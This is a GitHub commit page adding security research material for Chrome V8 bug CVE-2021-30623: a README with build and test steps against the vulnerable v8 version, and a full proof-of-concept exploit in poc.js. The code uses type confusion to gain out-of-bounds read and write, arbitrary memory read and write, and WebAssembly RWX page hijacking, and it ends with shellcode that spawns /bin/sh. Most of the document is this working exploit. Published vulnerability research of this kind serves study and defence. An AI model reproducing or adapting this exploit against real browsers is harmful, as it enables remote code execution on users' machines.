Skip to content

Commit 678b110

Browse files
authored
Merge pull request #438 from github/chrome_itw
Blog material
2 parents 3ec2df6 + cd35f79 commit 678b110

2 files changed

Lines changed: 173 additions & 0 deletions

File tree

Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
## Chrome in-the-wild bug CVE-2021-30623
2+
3+
The analysis of this bug can be found [here](https://securitylab.github.com/research/in_the_wild_chrome_cve_2021_30623). This is a Chrome bug that is reported by an anonymous researcher and was believed to be exploited in the wild.
4+
5+
The exploit here is tested on `v8` version 9.3.345.16 (commit `632e6e7`), which is the version shipped with Chrome 93.0.4577.63, the one before the bug is fixed, on Ubuntu 20.04. I have not tested it on Chrome itself.
6+
7+
To test, check out `v8` at commit `632e6e7` and compile with the default settings using `tools/dev/gm.py x64.release`. Then open the file `poc.js` with `d8`:
8+
9+
```
10+
./d8 poc.js
11+
```
12+
13+
On Ubuntu 20.04, it should call `execve("/bin/sh")` to spawn a new process:
14+
15+
```
16+
./d8 poc.js
17+
instance: 81d42dd
18+
elements: 804abd9
19+
rwx page address: 22c70c88b000
20+
intArray addr: 8105d79
21+
intBackingStore: 56498ceb25e0
22+
$
23+
```
24+
25+
Shell code may need changing on other platforms.
26+
27+
The exploit is very reliable, however, when testing, I noticed that some offsets appear to be sensitive to small changes in the file (even adding comments may cause problem), which would cause the exploit to fail. This only happens when the file is modified and usually manifests itself with some garbage values of the addresses, for example:
28+
29+
```
30+
instance: 81d42dd
31+
elements: 800222d
32+
rwx page address: 3ff199999999999a
33+
intArray addr: 81067e1
34+
intBackingStore: 3ff199999999999a
35+
```
36+
37+
In the above, address of `rwx page` and `initBackingStore` are clearly incorrect. The root cause seems to be an incorrect `elements` store value. (`800222d` is not a valid value) This can usually be fixed by changing the following lines regarding the address of elements:
38+
39+
```
40+
function arbRead(addr) {
41+
[elements, addr1] = ftoi32(addrs[1]); //<---- change this to [addr1, elements] = ftoi32(addrs[1]);
42+
oobWrite(i32tof(addr,addr1)); //<---- change to oobWrite(i32tof(addr1,addr));
43+
return writeArr[0];
44+
}
45+
...
46+
function writeShellCode(rwxAddr, shellArr) {
47+
var intArr = new Uint8Array(400);
48+
var intArrAddr = addrOf(intArr);
49+
console.log("intArray addr: " + intArrAddr.toString(16));
50+
var intBackingStore = ftoi(arbRead(intArrAddr + 0x20));
51+
console.log("intBackingStore: " + ftoi(arbRead(intArrAddr + 0x20)).toString(16));
52+
53+
[elements, addr1] = ftoi32(addrs[1]); //<------ change this to [addr1, elements] = ftoi32(addrs[1]);
54+
oobWrite(i32tof(intArrAddr + 0x20, addr1)); //<------ change this to oobWrite(i32tof(addr1, intArrAddr + 0x20));
55+
...
56+
}
57+
...
58+
var elementsAddr = ftoi32(addrs[1])[0]; //<------- change this to var elementsAddr = ftoi32(addrs[1])[1];
59+
```
60+
61+
This, however, does not affect the reliability of the exploit as the offsets are stable as long as the file is fixed, but it may cause issues if the poc is modified. I do not know what causes this, but the exploit can probably be made more robust against this by matching patterns in memory instead of relying on fixed offsets.
Lines changed: 112 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,112 @@
1+
var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
2+
var module = new WebAssembly.Module(code);
3+
var instance = new WebAssembly.Instance(module);
4+
var main = instance.exports.main;
5+
6+
function foo(y) {
7+
x = y;
8+
}
9+
10+
function oobRead() {
11+
//addrOf b[0] and addrOf writeArr::elements
12+
return [x[20],x[24]];
13+
}
14+
15+
function oobWrite(addr) {
16+
x[24] = addr;
17+
}
18+
19+
var arr0 = new Array(10); arr0.fill(1);arr0.a = 1;
20+
var arr1 = new Array(10); arr1.fill(2);arr1.a = 1;
21+
var arr2 = new Array(10); arr2.fill(3); arr2.a = 1;
22+
23+
var x = arr0;
24+
25+
var arr = new Array(30); arr.fill(4); arr.a = 1;
26+
var b = new Array(1); b.fill(1);
27+
var writeArr = [1.1];
28+
29+
for (let i = 0; i < 19321; i++) {
30+
if (i == 19319) arr2[0] = 1.1;
31+
foo(arr1);
32+
}
33+
34+
x[0] = 1.1;
35+
36+
for (let i = 0; i < 20000; i++) {
37+
oobRead();
38+
}
39+
40+
for (let i = 0; i < 20000; i++) oobWrite(1.1);
41+
foo(arr);
42+
43+
var view = new ArrayBuffer(24);
44+
var dblArr = new Float64Array(view);
45+
var intView = new Int32Array(view);
46+
var bigIntView = new BigInt64Array(view);
47+
b[0] = instance;
48+
var addrs = oobRead();
49+
50+
function ftoi32(f) {
51+
dblArr[0] = f;
52+
return [intView[0], intView[1]];
53+
}
54+
55+
function i32tof(i1, i2) {
56+
intView[0] = i1;
57+
intView[1] = i2;
58+
return dblArr[0];
59+
}
60+
61+
function itof(i) {
62+
bigIntView = BigInt(i);
63+
return dblArr[0];
64+
}
65+
66+
function ftoi(f) {
67+
dblArr[0] = f;
68+
return bigIntView[0];
69+
}
70+
71+
72+
dblArr[0] = addrs[0];
73+
dblArr[1] = addrs[1];
74+
75+
function addrOf(obj) {
76+
b[0] = obj;
77+
let addrs = oobRead();
78+
dblArr[0] = addrs[0];
79+
return intView[1];
80+
}
81+
82+
function arbRead(addr) {
83+
[elements, addr1] = ftoi32(addrs[1]);
84+
oobWrite(i32tof(addr,addr1));
85+
return writeArr[0];
86+
}
87+
88+
function writeShellCode(rwxAddr, shellArr) {
89+
var intArr = new Uint8Array(400);
90+
var intArrAddr = addrOf(intArr);
91+
console.log("intArray addr: " + intArrAddr.toString(16));
92+
var intBackingStore = ftoi(arbRead(intArrAddr + 0x20));
93+
console.log("intBackingStore: " + ftoi(arbRead(intArrAddr + 0x20)).toString(16));
94+
95+
[elements, addr1] = ftoi32(addrs[1]);
96+
oobWrite(i32tof(intArrAddr + 0x20, addr1));
97+
writeArr[0] = rwxAddr;
98+
for (let i = 0; i < shellArr.length; i++) {
99+
intArr[i] = shellArr[i];
100+
}
101+
}
102+
103+
var instanceAddr = addrOf(instance);
104+
var elementsAddr = ftoi32(addrs[1])[0];
105+
console.log("instance: " + instanceAddr.toString(16));
106+
console.log("elements: " + elementsAddr.toString(16));
107+
var rwxAddr = arbRead(instanceAddr + 0x60);
108+
console.log("rwx page address: " + ftoi(rwxAddr).toString(16));
109+
var shellCode = [0x31, 0xf6, 0x31, 0xd2, 0x31, 0xc0, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68, 0x56, 0x53, 0x54, 0x5f, 0xb8, 0x3b, 0, 0, 0, 0xf, 0x5];
110+
111+
writeShellCode(rwxAddr, shellCode);
112+
main();

0 commit comments

Comments
 (0)